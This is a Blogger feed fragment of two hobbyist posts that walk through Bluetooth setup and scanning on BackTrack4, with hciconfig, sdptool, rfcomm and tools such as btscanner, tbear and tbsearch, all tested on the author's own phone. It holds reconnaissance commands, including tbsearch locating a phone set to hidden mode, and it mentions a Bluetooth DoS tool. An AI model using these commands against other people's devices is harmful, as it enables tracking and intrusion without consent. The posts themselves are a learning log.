#38761d;"&gt;====================&lt;/div&gt;Edit the permissions of below files in /etc/bluetooth/;&lt;br /&gt;&lt;div style="color: lime;"&gt;cd /etc/bluetooth/&lt;/div&gt;&lt;div style="color: lime;"&gt;chmod 755 {main.conf,networking.conf,rfcomm.conf}&lt;/div&gt;&lt;br /&gt;&lt;i&gt;Not sure that editing the main.conf, rfcomm.conf and setting the file permissions is absolutely necessary, as you can set the device class in hciconfig and can enter the rfcomm information directly in the command line...&amp;nbsp;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;But if you can't tell by now... I'm flying as blind as a deaf bat with this ;)&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;Best to then restart bluetooth service ;&lt;br /&gt;&lt;div style="color: lime;"&gt;/etc/init.d/bluetooth restart&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: #38761d;"&gt;Configuring your bluetooth interface with hciconfig&lt;/div&gt;&lt;div style="color: #38761d;"&gt;Reference: &lt;a href="http://linux.die.net/man/8/hciconfig"&gt;http://linux.die.net/man/8/hciconfig &lt;/a&gt;&lt;/div&gt;&lt;div style="color: #38761d;"&gt;&lt;a href="http://www.blogger.com/post-edit.g?blogID=8356530514965708840&amp;amp;postID=657806260993952004"&gt; &lt;/a&gt;===========================================&lt;/div&gt;&lt;div style="color: lime;"&gt;hciconfig -a hci0 up&lt;/div&gt;&lt;i&gt;Opens and initializes the HCI device&lt;/i&gt;&lt;br /&gt;&lt;span style="color: lime;"&gt;hciconfig -a hci0 class 0x500204&lt;/span&gt;&lt;br /&gt;&lt;i&gt;Sets the device's class (0x500204 is for Cell Phone)&lt;/i&gt;&lt;br /&gt;&lt;div style="color: lime;"&gt;hciconfig -a hci0 lm accept, master;&lt;/div&gt;&lt;i&gt;Sets link mode to accept baseband connection and&lt;/i&gt;&lt;br /&gt;&lt;i&gt;also to ask to become master when connection request comes in.&lt;/i&gt;&lt;br /&gt;&lt;div style="color: lime;"&gt;hciconfig -a hci0 lp rswitch,hold,sniff,park;&lt;/div&gt;&lt;i&gt;Sets the link policies.&lt;/i&gt;&lt;br /&gt;&lt;span style="color: lime;"&gt;hciconfig -a hci0 name TEST&lt;/span&gt;&lt;br /&gt;&lt;i&gt;Sets the name of your bluetooth device&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;There are various posts on which settings should be enabled, some also mention ;&lt;br /&gt;&lt;div style="color: lime;"&gt;hciconfig -a hci0 auth enable &lt;/div&gt;&lt;div style="color: lime;"&gt;hciconfig -a hci0 encrypt enable&lt;/div&gt;&lt;i&gt;This however interfered with sdptool's capability to scan devices for info due to an invalid exchange.&lt;/i&gt;&lt;br /&gt;&lt;i&gt;(I assume the due to the device then being set to security mode 3: link level enforced security) &lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;a href="http://www.palowireless.com/bluearticles/cc1_security1.asp"&gt;http://www.palowireless.com/bluearticles/cc1_security1.asp&lt;/a&gt;&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: #38761d;"&gt;Updating the Service Discovery Protocol Database&lt;/div&gt;&lt;div style="color: #38761d;"&gt;Reference: &lt;a href="http://linux.die.net/man/1/sdptool"&gt;http://linux.die.net/man/1/sdptool&lt;/a&gt;&lt;/div&gt;&lt;div style="color: #38761d;"&gt;==========================================&lt;/div&gt;For instance; &lt;br /&gt;&lt;div style="color: lime;"&gt;sdptool -i hci0 add --handle=0x10001 --channel=9 OPUSH&lt;/div&gt;&lt;div style="color: lime;"&gt;sdptool -i hci0 add --handle=0x10002 --channel=10 FTP&lt;/div&gt;&lt;div style="color: lime;"&gt;sdptool -i hci0 add --handle=0x10003 --channel=1 DUN&lt;/div&gt;&lt;br /&gt;The handles and channels for the services may be different for other phones so check all info with sdptool.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;OK, so now that's all done, what am I able to do ?&lt;br /&gt;Well, not so much actually.&lt;br /&gt;&lt;br /&gt;It turns out that the above configurations haven't helped me in connections, however knowing the processes is always a good thing ;) and might as well document it !&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;In all connection attempts, I needed to Accept the connection on the cell phone.&lt;br /&gt;&lt;br /&gt;&lt;div style="color: #38761d;"&gt;Connecting with rfcomm&lt;/div&gt;&lt;div style="color: #38761d;"&gt;References: &lt;a href="http://linux.die.net/man/1/rfcomm"&gt;http://linux.die.net/man/1/rfcomm&lt;/a&gt;&lt;/div&gt;&lt;div style="color: #38761d;"&gt;&lt;a href="http://www.palowireless.com/infotooth/tutorial/rfcomm.asp"&gt;http://www.palowireless.com/infotooth/tutorial/rfcomm.asp&lt;/a&gt;&lt;/div&gt;&lt;div style="color: #38761d;"&gt;=======================================&lt;/div&gt;First to try a connection to the OPUSH service which on my cell is on Channel 9.&lt;br /&gt;As all the information has been entered for this in &lt;span style="color: yellow;"&gt;rfcomm.conf&lt;/span&gt; I can enter ;&lt;br /&gt;&lt;div style="color: lime;"&gt;rfcomm bind 0&lt;/div&gt;&lt;div style="color: lime;"&gt;rfcomm&lt;/div&gt;&lt;div style="color: lime;"&gt;rfcomm connect 0&lt;/div&gt;If the &lt;i&gt;address already in use&lt;/i&gt; error comes up, then release the device or all devices;&lt;br /&gt;&lt;span style="color: lime;"&gt;rfcomm release hci0&lt;/span&gt; or &lt;span style="color: lime;"&gt;rfcomm release all&lt;/span&gt; and try again.&lt;br /&gt;&lt;br /&gt;I have to &lt;b&gt;accept&lt;/b&gt; on cell phone to receive data from 'TEST' &lt;i&gt;(name given to bluetooth interface)&lt;/i&gt; and then connection is made.&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/snapshot06-1.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="252" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/snapshot06-1.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Its probably better practice though to enter the full code in the command line;&lt;br /&gt;&lt;div style="color: lime;"&gt;rfcomm bind 0 6C:9B:02:FF:97:2F 9&lt;/div&gt;&lt;div style="color: lime;"&gt;rfcomm&lt;/div&gt;&lt;div style="color: lime;"&gt;rfcomm connect 0 6C:9B:02:FF:97:2F 9&lt;/div&gt;&lt;i&gt;(I am still obliged to accept data on the cell phone)&lt;/i&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/rfcomm-c9.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="252" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/rfcomm-c9.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The rfcomm connection attempt fails for most services as there are no means I can find included in BackTrack4, to reply to the PIN request from the phone.&lt;br /&gt;&lt;br /&gt;&lt;i&gt;&lt;b&gt;To check &amp;amp; verify on the PIN request response issue;&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;b&gt;&lt;a href="http://www.linuxquestions.org/questions/slackware-14/slackware-13-bluetooth-pan-759274/"&gt;http://www.linuxquestions.org/questions/slackware-14/slackware-13-bluetooth-pan-759274/&lt;/a&gt;&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;After much googling and reading I found a reference to using &lt;b&gt;simple-agent&lt;/b&gt; which is included in Bluez-4.32 package.&lt;br /&gt;I just extracted that file (from the 'test' subfolder) and copying the file simple-agent to for instance /etc/bluetooth/ and running it, it returns &lt;b&gt;Agent registered&lt;/b&gt;.&lt;br /&gt;&lt;br /&gt;When trying to connect with rfcomm to a service prompts a PIN request from the device, such as the below example for OBEX File Transfer, simple-agent returns with &lt;b&gt;RequestPinCode&lt;/b&gt; along with the bdaddr where the request came from and prompts for a PIN.&lt;br /&gt;&lt;br /&gt;Enter the PIN that was entered in the device (in this case 0000) and pairing is succesful.&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/snapshot03-1.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="252" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/snapshot03-1.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Yay ! Connected !&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/rfcomm-c10.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="252" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/rfcomm-c10.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;So what have I actually accomplished with all the above ?&lt;br /&gt;Well, it feels like not very much at all, but at least I am a step closer to understanding the connection methods involved.&lt;br /&gt;&lt;br /&gt;With a lot, probably a helluva lot, more time on google and various fora, I hope to be able to learn a bit more about bluetooth hacking.&lt;br /&gt;&lt;br /&gt;This truly is a slow process ;)&lt;br /&gt;&lt;br /&gt;As always, any insightful comments which may help enable the various bluetooth tools in BackTrack4 greatly appreciated.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;i&gt;On to part III ? !&amp;nbsp; &lt;/i&gt;&lt;/b&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8356530514965708840-657806260993952004?l=adaywithtape.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://adaywithtape.blogspot.com/feeds/657806260993952004/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://adaywithtape.blogspot.com/2010/09/bluetooth-mayhem-part-ii.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8356530514965708840/posts/default/657806260993952004'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8356530514965708840/posts/default/657806260993952004'/><link rel='alternate' type='text/html' href='http://adaywithtape.blogspot.com/2010/09/bluetooth-mayhem-part-ii.html' title='Bluetooth mayhem -- part II'/><author><name>TAPE</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_vtirOlMBs5Y/S6kOuRDa9SI/AAAAAAAAABU/wlZOFGWKug8/S220/avatar.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8356530514965708840.post-67487641848714317</id><published>2010-09-06T14:00:00.018+02:00</published><updated>2010-09-12T13:20:51.790+02:00</updated><title type='text'>Bluetooth mayhem</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;br /&gt;So this is going to be a post which will probably be either updated when possible or deleted&lt;br /&gt;depending on the progress I am able to make with bluetooth ;) &lt;br /&gt;&lt;br /&gt;After getting interested in bluetooth again, I came to the conclusion that I really can't get much done at all..&lt;br /&gt;Considering the amount of cash I have spent in the past on wireless adapters to test, getting a pre-paid mobile and a couple of bluetooth dongles and headsets to go crazy on didn't really seem like a bad idea.&lt;br /&gt;&lt;br /&gt;So this will be a post containing some information on the bluetooth side of things that that I have been able to get through, which as it stands right now is horrifically little :| &lt;br /&gt;&lt;br /&gt;The bluetooth tools included on BackTrack4 are all somewhat dated and their functionality with BackTrack4 not well documented, though bluetooth still forms a part of many wireless security courses, so I have a feeling it is simply a lack of documentation.&lt;br /&gt;&lt;br /&gt;The phone I am using to test on is a Nokia 2720 with bluetooth visibility set to permanently visible (except with the tests of tbsearch &amp;amp; fang)&lt;br /&gt;I have a couple of usb dongles, 2x Class 2 and 1x Class 1.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: yellow;"&gt;SCANNING FOR -AND LOGGING BLUETOOTH DEVICES&lt;/div&gt;&lt;span style="color: yellow;"&gt;=============================================&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;First to ensure that the bluetooth devices are up and running ;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: lime;"&gt;hciconfig&lt;/div&gt;&lt;span style="color: lime;"&gt;hciconfig hci0 up&lt;/span&gt;&amp;nbsp; &amp;lt;-- in my case an internal bluetooth device&lt;br /&gt;&lt;span style="color: lime;"&gt;hciconfig hci1 up&lt;/span&gt;&amp;nbsp; &amp;lt;-- in my case an external USB dongle&lt;br /&gt;etc.&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/hciconfig.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="355" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/hciconfig.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Getting more info on the bluetooth interface ;&lt;br /&gt;&lt;div style="color: lime;"&gt;hciconfig hci0 -a&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/hciconfig-a.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;/a&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/hciconfig-a.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="354" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/hciconfig-a.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;There are numerous methods to scan for devices ;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: yellow;"&gt;&lt;b&gt;hcitool&lt;/b&gt;&lt;/div&gt;&lt;div style="color: yellow;"&gt;&lt;b&gt;---------&lt;/b&gt;&lt;/div&gt;hcitool is the most straightforward, comparable with using the iwlist scan option when checking for wireless.&lt;br /&gt;&lt;div style="color: lime;"&gt;hcitool dev&lt;/div&gt;&lt;div style="color: lime;"&gt;hcitool -i hci0 scan &lt;/div&gt;&lt;span style="color: lime;"&gt;hcitool -i hci0 inq&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/hcitool.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="354" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/hcitool.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Alternatively you can use one of the many monitoring tools included in BT4 such as ;&lt;br /&gt;BlueScan, Btscanner, ghettotooth, tbear&amp;nbsp; &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: yellow;"&gt;&lt;b&gt;BlueScan&lt;/b&gt;&lt;/div&gt;&lt;div style="color: yellow;"&gt;&lt;b&gt;------------&lt;/b&gt;&lt;/div&gt;BlueScan will show bdaddr of the device found along with name,  manufacturer, active services and active channels along with time of  discovery.&lt;br /&gt;However have not figured out how to specify which interface to use; BlueScan always seems to want to use bdaddr of hci0.&lt;br /&gt;After stopping the scan with Ctrl +C you are given 3 options;&lt;br /&gt;1. Print to screen&lt;br /&gt;2. Export results to log&lt;br /&gt;3. Quit&lt;br /&gt;&lt;br /&gt;&lt;div style="color: lime;"&gt;cd /pentest/bluetooth/bluescan/&lt;/div&gt;&lt;span style="color: lime;"&gt;./bluescan&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/BlueScan.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="354" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/BlueScan.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: yellow;"&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="color: yellow;"&gt;&lt;b&gt;Btscanner&lt;/b&gt;&lt;/div&gt;&lt;div style="color: yellow;"&gt;&lt;b&gt;------------- &lt;/b&gt;&lt;/div&gt;Btscanner uses all available bluetooth interfaces for scanning.&lt;br /&gt;It opens an GUI and works similar to the oldschool Kismet, listing found bluetooth devices with the possibility to show further information on the devices when selected.&lt;br /&gt;&lt;span style="color: yellow;"&gt;i&lt;/span&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;lt;-- starts an inquiry scan&lt;br /&gt;&lt;span style="color: yellow;"&gt;Enter&lt;/span&gt;&amp;nbsp;&amp;nbsp; &amp;lt;-- gives further info on the device selected&lt;br /&gt;&lt;span style="color: yellow;"&gt;a&lt;/span&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;-- aborts the scan&lt;br /&gt;&lt;span style="color: yellow;"&gt;Q&lt;/span&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;lt;-- Quits the program&lt;br /&gt;Results for the devices found are logged automatically with a directory created per bdaddr found.&lt;br /&gt;For scanning for devices,&amp;nbsp; I would say that so far as I have seen, this tool is the one to use.&lt;br /&gt;&lt;u&gt;&lt;i&gt;edit&lt;/i&gt;&lt;/u&gt;&lt;br /&gt;&lt;i&gt;I have come to the conclusion that I am not fond of the way btscanner ;&amp;nbsp;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&amp;gt; Does not enable the choosing of individual interface adapters.&amp;nbsp;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&amp;gt; Logs all the information in separate folders, it makes sense in view of the information included, but it makes it harder to quickly view a list of bdaddr's, Names, Class etc.once programme quits.&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;br /&gt;&lt;span style="color: lime;"&gt;btscanner&lt;/span&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/Btscanner1.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="354" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/Btscanner1.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Further info after selecting the found device;&lt;br /&gt;(&lt;span style="color: yellow;"&gt;q&lt;/span&gt; to return to main menu)&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/Btscanner2.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="354" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/Btscanner2.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: yellow;"&gt;&lt;b&gt;ghettotooth&lt;/b&gt;&lt;/div&gt;&lt;div style="color: yellow;"&gt;&lt;b&gt;--------------- &lt;/b&gt;&lt;/div&gt;ghettotooth simply lists the bdaddr's and names of the devices found.&lt;br /&gt;A log is made each time ghettotooth is started.&lt;br /&gt;&lt;br /&gt;&lt;div style="color: lime;"&gt;cd /pentest/bluetooth/ghettotooth/&lt;/div&gt;&lt;div style="color: lime;"&gt;perl ghettotooth.pl -h &lt;/div&gt;&lt;div style="color: lime;"&gt;perl ghettotooth.pl hci0&lt;/div&gt;&lt;div style="color: lime;"&gt;ls &lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/ghettotooth.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="354" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/ghettotooth.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: yellow;"&gt;&lt;b&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="color: yellow;"&gt;&lt;b&gt;T-bear&lt;/b&gt;&lt;/div&gt;&lt;div style="color: yellow;"&gt;&lt;b&gt;---------&lt;/b&gt;&lt;/div&gt;A straightforward bluetooth device locator with options to log the results.&lt;br /&gt;Whichever interface is entered to use, the screen shows hci0 as being in use after a few seconds&lt;br /&gt;which is a bit confusing.&lt;br /&gt;&lt;u&gt;&lt;i&gt;edit&lt;/i&gt;&lt;/u&gt;&lt;br /&gt;&lt;i&gt;Well after having played a bit more with them, I have decided that I like tbear the best for quick scans.&amp;nbsp;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;The reason is that you can choose which interface adapter to use (even though it doesnt correctly mention that on screen) and it is easy to view a quick list of what was found from the logs after quitting the programme. Plus it looks pretty ;)&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: lime;"&gt;cd /pentest/bluetooth/tbear/&lt;/div&gt;&lt;div style="color: lime;"&gt;./tbear -h &lt;/div&gt;&lt;div style="color: lime;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/tbear1.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="354" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/tbear1.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: lime;"&gt;./tbear -i hci0 -l log&lt;/span&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/tbear2.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="354" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/tbear2.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;From what I have read, Tbear did originally come with a load of other tools (http://www.secguru.com/link/tbear_bluetooth_environment_auditing), but in BT4 there are just two other tools with tbear;&lt;br /&gt;&lt;b&gt;&lt;span style="color: yellow;"&gt;tanya&lt;/span&gt;&lt;/b&gt; &amp;amp; &lt;b&gt;&lt;span style="color: yellow;"&gt;tbsearch&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;b style="color: yellow;"&gt;tanya &lt;/b&gt;is a DoS tool for bluetooth, however haven't yet played enough with it to get it to work.&lt;br /&gt;&lt;i&gt;I would love to think that the author had a wife / GF called Tanya whose constant rattling reminded him of a DoS..&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;b style="color: yellow;"&gt;tbsearch &lt;/b&gt;is a tool to search for hidden bluetooth devices by checking bluetooth addresses and able to use multiple threads (multiple bluetooth interfaces)&lt;br /&gt;So for instance if you know a device should be in the area and you have the bdaddr or a possible range you can search for it and tbsearch will find it, even if it is in hidden mode, and continue searching for others.&lt;br /&gt;Its not a fast process however..&lt;br /&gt;&lt;div style="color: lime;"&gt;cd /pentest/bluetooth/tbear/&lt;/div&gt;&lt;div style="color: lime;"&gt;./tbsearch&lt;/div&gt;&lt;div style="color: lime;"&gt;./tbsearch -b 6C:9B:02:FF:97:2F hci0 &lt;/div&gt;(bluetooth on mobile set to 'hidden')&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/tbsearch-b1.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="354" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/tbsearch-b1.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;This process can be sped up a bit using multiple dongles, below I have a total of 4 devices checking it all out with a starting point 7 digits before the bdaddr, but as you can see it came back with a false positive..&lt;br /&gt;(30 instead of 2f)&lt;br /&gt;This happened more or less consistently when using multiple interfaces, checking for individual bdaddr's seems to work better when using a single interface with tbsearch.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: lime;"&gt;./tbsearch -b 6C:9B:02:FF:97:29 hci0 hci1 hci2 hci3&lt;/span&gt; &lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/tbsearch-b2.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="354" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/tbsearch-b2.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br 